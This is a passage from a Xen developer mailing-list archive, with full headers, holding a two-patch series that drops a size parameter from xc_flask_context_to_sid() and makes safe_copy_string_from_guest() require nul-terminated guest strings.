 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1782917141-3A125220-A9F24B94/0/0
X-purgate-type: clean
X-purgate-size: 573

While doing the XSA-492 work I further noticed an inefficiency with
safe_copy_string_from_guest(). All callers pass PAGE_SIZE as the maximum
buffer size, and with the function adding 1 to append a nul terminator
the resulting allocations are all order-1 ones. Which we'd better avoid.
Require respective callers of hypercalls to nul-terminate the strings
within the buffer supplied. While an ABI change, I think it's an
acceptable one.

1: libxc: drop size parameter from xc_flask_context_to_sid()
2: lib: make safe_copy_string_from_guest() validate input

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 14:48:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 14:48:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350065.1607646 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewEG-0001VM-7D; Wed, 01 Jul 2026 14:47:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350065.1607646; Wed, 01 Jul 2026 14:47:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewEG-0001VF-3L; Wed, 01 Jul 2026 14:47:56 +0000
Received: by outflank-mailman (input) for mailman id 1350065;
 Wed, 01 Jul 2026 14:47:54 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wewEE-0001V9-M4
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:47:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewEE-004ARY-2x
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:47:54 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a452890-bab6-0a2a0a5309dd-0a2a4507e8e2-14
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:47:54 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a452899-9c8e-0a2a45070019-d155802ec593-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:47:54 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-4924593f45dso6460585e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 07:47:53 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be4d2bc5sm84365595e9.5.2026.07.01.07.47.52
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 07:47:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782917273; x=1783522073; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=5H9FOEbTGuPSoUgzC/ynnLScGlyG4PkeuQTpFvOsYGs=;
        b=N/UxYgEL+JoCAYj/5G8LUkWxpQSzl9wbLYZQEt6mK8qzc6TvyDtAhkXGE6C94GefQD
         SYKVfBbXMifkbAhxYMbDqrtRvHCXsNb9Ec2PJZf+shu7pAjxaRYL+zrZfk1xb/aTPGLX
         XdJqn/+LFndJ45U3ao/QHjKznPZAPeiudrk4yjQUJ4D3JPYOkKP/u9p0awKYVShD0YFC
         /QXRIfQl0fY5as4i7Sh8ZO/3LzO7lbPJMGEO3tCu3jI+TSj8a5s8Cs31z5Fb7J0HC/M6
         BmvZxQ7x+65GCMO0IjVgy/HKPUYhSKHZ5iDktFfNhKKlBfODn3/BED1f4q9KButC/8kV
         FSQA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782917273; x=1783522073;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=5H9FOEbTGuPSoUgzC/ynnLScGlyG4PkeuQTpFvOsYGs=;
        b=eMaTG86YEP6gANfUR75d6ETBIhvTiznsjBCZy66OuZ6YbBPpF19PXvMMHPRSjkag7Z
         fO3cMSOmdb7Ov2pCEu+IEw1QBUEqAX5bZ1XRZtmut0YQ8hJ8KrpuTUmbqLpQGALEuHU9
         4nucRgdCCoj2JNjPWuEi/SQlMkPr1gI52Y8F8ytkKE3kbKXmKdGvGQNV0Migr26DYRG8
         HXIPJ8yVINda+/ujK3/7vDt7umN/tDfMfVBr4uwbMPUaoVNnhQf2nrJntfvk9oeUZkQt
         mF4d/xtkAu2FaS2NpOL2cVCvreyjwigKPZ9yLuhzoragCCmHpl6pV1xcy+TqcfnxNKbd
         A6EQ==
X-Gm-Message-State: AOJu0YycWKNFN1xxGjYv2CpxadBzZTY9OxIHO4cLcUqpsS69hH89nhqF
	to0cEJJo7Tp5SOwJ0weu/XSQIQGY3NeYVijHl8C+wyEtildFbGp4OSd66jTwhgJ8R1ipbDV6uct
	kw/Kzqg==
X-Gm-Gg: AfdE7cmaKJK9uAux0wiCKUBb663gAOsQVb1amVctd5fJtg3EbbB18rur05eqG1WN3K0
	gdcQaH29cnKcQ/N5DdlDKbJPFY9LlPUdHq9EvtJBPXzwxCPMRpf4JX/rHKQSOI1K+AXdjiKutZX
	pTzg7RJT5yQr9oOLEao72pCpfkbynR06jfQzGBpF9cL5L0SlZc5Dc1XueZi4FebHdF1Ekwr4Y7Y
	dD7r5Vdilh8Fl6NJT5OC7x9EVNHbw7Tv9S6daSappVOlKQlC6pRyJGQGG9rQ13e9lXiRcny3ril
	FZVWFTYennKPbVVH9Cbq/+fo0vqmDuhTzwrqyIE4vBr9gqjpUbrhAHgNGeGxACEZYk3UgLbq/V5
	rtbqOzYPXx/cVF0YYfGha3dXMGZqwsYe0UUoq5CVI4xs+L/sjmuus9ODLl6DP5Buo5gUohT8eR2
	9utbE/sloRHvLoAx/KGnYCdjcuuOqxucFlw0IlGZJDQ1O1UfH2CfDGQCWntFO7ocKetu6zlEAOm
	3wv4/o5y46++0A=
X-Received: by 2002:a05:600d:644f:10b0:493:bc4a:d5f4 with SMTP id 5b1f17b1804b1-493c2bb226bmr23916745e9.38.1782917273336;
        Wed, 01 Jul 2026 07:47:53 -0700 (PDT)
Message-ID: <d3b03ebb-7923-4033-8bcb-cf0cdbb4e771@suse.com>
Date: Wed, 1 Jul 2026 16:47:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 1/2] libxc: drop size parameter from
 xc_flask_context_to_sid()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Juergen Gross <jgross@suse.com>, Daniel Smith
 <dpsmith@apertussolutions.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>
References: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1782917274-7D92225E-99338FD6/0/0
X-purgate-type: clean
X-purgate-size: 3695

Nul-terminated strings are passed in all cases, so the strlen() can very
well be invoked by the function itself. In preparation for a hypervisor
change also include the nul terminator in the size calculation.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
Ideally libxl_flask_context_to_sid() would follow suit, but aiui doing so
would break its (stable) API.

Of course the casts in xc_flask_access() are suspicious.
---
v2: Avoid assert() use in libxl.

--- a/tools/helpers/init-xenstore-domain.c
+++ b/tools/helpers/init-xenstore-domain.c
@@ -108,7 +108,7 @@ static int build(xc_interface *xch)
 
     if ( flask )
     {
-        rv = xc_flask_context_to_sid(xch, flask, strlen(flask), &config.ssidref);
+        rv = xc_flask_context_to_sid(xch, flask, &config.ssidref);
         if ( rv )
         {
             fprintf(stderr, "xc_flask_context_to_sid failed\n");
--- a/tools/include/xenctrl.h
+++ b/tools/include/xenctrl.h
@@ -2372,7 +2372,7 @@ long xc_sharing_used_frames(xc_interface
 /*** End sharing interface ***/
 
 int xc_flask_load(xc_interface *xc_handle, char *buf, uint32_t size);
-int xc_flask_context_to_sid(xc_interface *xc_handle, char *buf, uint32_t size, uint32_t *sid);
+int xc_flask_context_to_sid(xc_interface *xc_handle, char *buf, uint32_t *sid);
 int xc_flask_sid_to_context(xc_interface *xc_handle, int sid, char *buf, uint32_t size);
 int xc_flask_getenforce(xc_interface *xc_handle);
 int xc_flask_setenforce(xc_interface *xc_handle, int mode);
--- a/tools/libs/ctrl/xc_flask.c
+++ b/tools/libs/ctrl/xc_flask.c
@@ -83,10 +83,11 @@ int xc_flask_load(xc_interface *xch, cha
     return err;
 }
 
-int xc_flask_context_to_sid(xc_interface *xch, char *buf, uint32_t size, uint32_t *sid)
+int xc_flask_context_to_sid(xc_interface *xch, char *buf, uint32_t *sid)
 {
     int err;
     struct xen_flask_op op = {};
+    size_t size = strlen(buf) + 1;
     DECLARE_HYPERCALL_BOUNCE(buf, size, XC_HYPERCALL_BUFFER_BOUNCE_IN);
 
     if ( xc_hypercall_bounce_pre(xch, buf) )
@@ -249,7 +250,7 @@ static int xc_flask_add(xc_interface *xc
     int err;
     struct xen_flask_op op = {};
 
-    err = xc_flask_context_to_sid(xch, scontext, strlen(scontext), &sid);
+    err = xc_flask_context_to_sid(xch, scontext, &sid);
     if ( err )
         return err;
 
@@ -325,10 +326,10 @@ int xc_flask_access(xc_interface *xch, c
     struct xen_flask_op op = {};
     int err;
 
-    err = xc_flask_context_to_sid(xch, (char*)scon, strlen(scon), &op.u.access.ssid);
+    err = xc_flask_context_to_sid(xch, (char*)scon, &op.u.access.ssid);
     if ( err )
         return err;
-    err = xc_flask_context_to_sid(xch, (char*)tcon, strlen(tcon), &op.u.access.tsid);
+    err = xc_flask_context_to_sid(xch, (char*)tcon, &op.u.access.tsid);
     if ( err )
         return err;
 
--- a/tools/libs/light/libxl_flask.c
+++ b/tools/libs/light/libxl_flask.c
@@ -21,7 +21,10 @@ int libxl_flask_context_to_sid(libxl_ctx
 {
     int rc;
 
-    rc = xc_flask_context_to_sid(ctx->xch, buf, len, ssidref);
+    if (len != strlen(buf))
+        return ERROR_INVAL;
+
+    rc = xc_flask_context_to_sid(ctx->xch, buf, ssidref);
 
     return rc;
 }
--- a/tools/python/xen/lowlevel/xc/xc.c
+++ b/tools/python/xen/lowlevel/xc/xc.c
@@ -1754,7 +1754,7 @@ static PyObject *pyflask_context_to_sid(
         return PyErr_SetFromErrno(xc_error_obj);
     }
 
-    ret = xc_flask_context_to_sid(xc_handle, ctx, strlen(ctx), &sid);
+    ret = xc_flask_context_to_sid(xc_handle, ctx, &sid);
 
     xc_interface_close(xc_handle);
 



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 14:48:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 14:48:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350073.1607654 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewEv-000261-E7; Wed, 01 Jul 2026 14:48:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350073.1607654; Wed, 01 Jul 2026 14:48:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewEv-00025t-BA; Wed, 01 Jul 2026 14:48:37 +0000
Received: by outflank-mailman (input) for mailman id 1350073;
 Wed, 01 Jul 2026 14:48:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wewEu-000251-G3
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:48:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewEt-003lr9-Og
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:48:35 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4528aa-bab6-0a2a0a5309dd-0a2a450ae036-36
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:48:35 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4528c3-e40e-0a2a450a0019-d1558035c921-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:48:35 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so3200155e9.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 07:48:35 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be4f76a7sm79269095e9.13.2026.07.01.07.48.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 07:48:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782917315; x=1783522115; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=f6RRyZm2oHP9FW10uig6BZI7qLTDrMsOg0vt+/wGgiA=;
        b=TonPrCXw+myyYio+xjGg4zuxR0Fa4fllVBXiP/GdtgxNLxmniwcde/HvHwUCuEBtai
         bj6AzYTWB3ZqBW6s41qbTgqeSRlSD3lF/Kggp9zukWvJ8AnZN7rs9434V9mUkGMaa9hI
         76ETSf0P05K6EZGhkkj/tfxb5vT0nVVynNi8wvza1HGypIX7uOcwZqfPXEgK8b9r9Hnp
         9ukJWV43yqT71qRK4szNNn181QCg1zuVtAEtItT+sonGFsEvKwGX748OjUF6JNeU8eRt
         ElkL/cbUcgkQw0uVAcQPUXMO7ihKszfkO1i9gGhNiSf897uISgFR2bfVwb3mJlyWcjZR
         7rgQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782917315; x=1783522115;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=f6RRyZm2oHP9FW10uig6BZI7qLTDrMsOg0vt+/wGgiA=;
        b=OYPJ6Ld0ejdAYiBBTleb//xsn+VLCWQsv1Q7H8AVznV1pJ0/sGeLTdCFJtgKLC9DFU
         L2LnBrU5jkAAkUo55HKwdKjfdoD0lMhjQgIu7qZn3liCIMrRNTUF4dLf0h+lATkSMFxL
         44zKTkzQFJ7kzCEPrBYwDLATV2lGBAkVuP4ZC2uVh0zAtu7PI4HKCQgQG5zDcEgxBoR9
         yLChhQkV1UYwOYb2mYJc8wXBOwPISKR4PHvmgnBdFi2HcGfWU61Npf1ZJhwNtl5ZB1I2
         vSPk4wrLCFtvvGOnoBliQqHhyumAQbhKgyCGziRy2Po17vHhtoMSmydpA4ZwFNi++p/V
         hDmg==
X-Gm-Message-State: AOJu0YwyR/rswohA06LUfZyYA83QJDBYSvy+ZLhuioKMpi6FWC2NSPSW
	FaerZNWsciWfs1YAzRJX2ml3V5z0i6vxyDXpKFJSuTxS3F0ce/3MjUReQhnAAGFtE426/FI/4Hq
	JxXgYiA==
X-Gm-Gg: AfdE7cn46AZwmehu0s88Inn1DXdATYibQSlxQ7gDS4wpidji/nsDA9/v/qrvktm29PT
	bWQqTw9ue2grTxBYznvI7cD9A78noySMSuWYO8oSySs4snCrQQQu+apMjE7bJ++U7s6bmAuFaKa
	bkhIBlXKp5g4D8PbHCFFQg7MRknGmRoE+w0PCvw7t5xTPK1q+QRDGF+S49QmpYLdSgaWzb8hoOi
	zPq/pOyE10l66A7g9MEZylWT5ulhq1qEMyUwCD1r69FFTeYQ8/gvHn1ZIP7p9pq4E9KVuHhlSSa
	ym0RJJBirfO9oDplrupkrWvQGaQzV3sGHOHdcSmEAlecwq46hPyfN9npIINztaJ4+nJ4Ji9kXky
	/tqUQmSE/WFsF8aOiofDdpTSkSe6tH8rmU1LBzOhFI8iMbToqXcVIwZD6Sjf3T+6daKanQTq1Ip
	in556SKesIuwJcR85wYPETj9gR4Pcu/AN+DpXIlWCL2vy0kyXqB3KYkBMuemz2XNoKz2y9fB1b3
	e2XvJ1RRg2DDHE=
X-Received: by 2002:a05:600c:8590:b0:492:6487:a87 with SMTP id 5b1f17b1804b1-493c2ba1f4dmr25417315e9.32.1782917315064;
        Wed, 01 Jul 2026 07:48:35 -0700 (PDT)
Message-ID: <80bc4e83-b767-4692-9ce1-0ebf68d7ab26@suse.com>
Date: Wed, 1 Jul 2026 16:48:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 2/2] lib: make safe_copy_string_from_guest() validate input
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Daniel Smith <dpsmith@apertussolutions.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSR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dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1782917315-D492DDDE-00F26FA8/0/0
X-purgate-type: clean
X-purgate-size: 3769

... rather than papering over guest flaws: Strings passed ought to be nul-
terminated (yet sadly libxc hasn't been doing so thus far). This way we
also avoid order-1 allocations, seeing that all present callers pass
PAGE_SIZE for max_size.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
I can't spot any caller side use of FLASK_DEVICETREE_LABEL, hence there's
no corresponding prereq patch.

--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -7,6 +7,8 @@ The format is based on [Keep a Changelog
 ## [4.23.0 UNRELEASED](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - TBD
 
 ### Changed
+ - XEN_DOMCTL_DEV_DT's, FLASK_[GS]ETBOOL's, and FLASK_DEVICETREE_LABEL's input
+   string sizes need to include the nul terminator.
 
 ### Added
 
--- a/xen/lib/guest-strcpy.c
+++ b/xen/lib/guest-strcpy.c
@@ -3,8 +3,8 @@
 #include <xen/err.h>
 
 /*
- * The function copies a string from the guest and adds a NUL to
- * make sure the string is correctly terminated.
+ * The function copies a string from the guest and checks there's a NUL
+ * terminating the string.
  */
 char *safe_copy_string_from_guest(XEN_GUEST_HANDLE(char) u_buf,
                                   size_t size, size_t max_size)
@@ -14,8 +14,7 @@ char *safe_copy_string_from_guest(XEN_GU
     if ( size > max_size )
         return ERR_PTR(-ENOBUFS);
 
-    /* Add an extra +1 to append \0 */
-    tmp = xmalloc_array(char, size + 1);
+    tmp = xmalloc_array(char, size);
     if ( !tmp )
         return ERR_PTR(-ENOMEM);
 
@@ -24,7 +23,12 @@ char *safe_copy_string_from_guest(XEN_GU
         xfree(tmp);
         return ERR_PTR(-EFAULT);
     }
-    tmp[size] = '\0';
+
+    if ( !memchr(tmp, 0, size) )
+    {
+        xfree(tmp);
+        return ERR_PTR(-EMSGSIZE);
+    }
 
     return tmp;
 }
--- a/xen/include/public/domctl.h
+++ b/xen/include/public/domctl.h
@@ -574,7 +574,7 @@ struct xen_domctl_assign_device {
             uint32_t machine_sbdf;   /* machine PCI ID of assigned device */
         } pci;
         struct {
-            uint32_t size; /* Length of the path */
+            uint32_t size; /* Length of the path, including nul terminator */
             XEN_GUEST_HANDLE_64(char) path; /* Path to the device tree node */
 #ifdef __XEN__
             struct dt_device_node *dev; /* Resolved device node of the above */
--- a/xen/include/public/xsm/flask_op.h
+++ b/xen/include/public/xsm/flask_op.h
@@ -26,7 +26,8 @@ typedef struct xen_flask_setenforce xen_
 struct xen_flask_sid_context {
     /* IN/OUT: sid to convert to/from string */
     uint32_t sid;
-    /* IN: size of the context buffer
+    /*
+     * IN: size of the context buffer, including nul terminator
      * OUT: actual size of the output context string
      */
     uint32_t size;
@@ -86,8 +87,11 @@ struct xen_flask_boolean {
     uint8_t new_value;
     /* IN: commit new value instead of only setting pending [SET] */
     uint8_t commit;
-    /* IN: size of boolean name buffer [GET/SET]
-     * OUT: actual size of name [GET only] */
+    /*
+     * IN: size of boolean name buffer [GET/SET]; must cover nul terminator
+     *     if "name" (below) is an input
+     * OUT: actual size of name [GET only]
+     */
     uint32_t size;
     /* IN: if bool_id is -1, used to find boolean [GET/SET]
      * OUT: textual name of boolean [GET only]
@@ -150,7 +154,7 @@ typedef struct xen_flask_relabel xen_fla
 struct xen_flask_devicetree_label {
     /* IN */
     uint32_t sid;
-    uint32_t length;
+    uint32_t length; /* length of the path, including nul terminator */
     XEN_GUEST_HANDLE(char) path;
 };
 typedef struct xen_flask_devicetree_label xen_flask_devicetree_label_t;



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 14:50:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 14:50:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350082.1607663 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewGE-0002ee-N8; Wed, 01 Jul 2026 14:49:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350082.1607663; Wed, 01 Jul 2026 14:49:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewGE-0002eX-KD; Wed, 01 Jul 2026 14:49:58 +0000
Received: by outflank-mailman (input) for mailman id 1350082;
 Wed, 01 Jul 2026 14:49:57 +0000
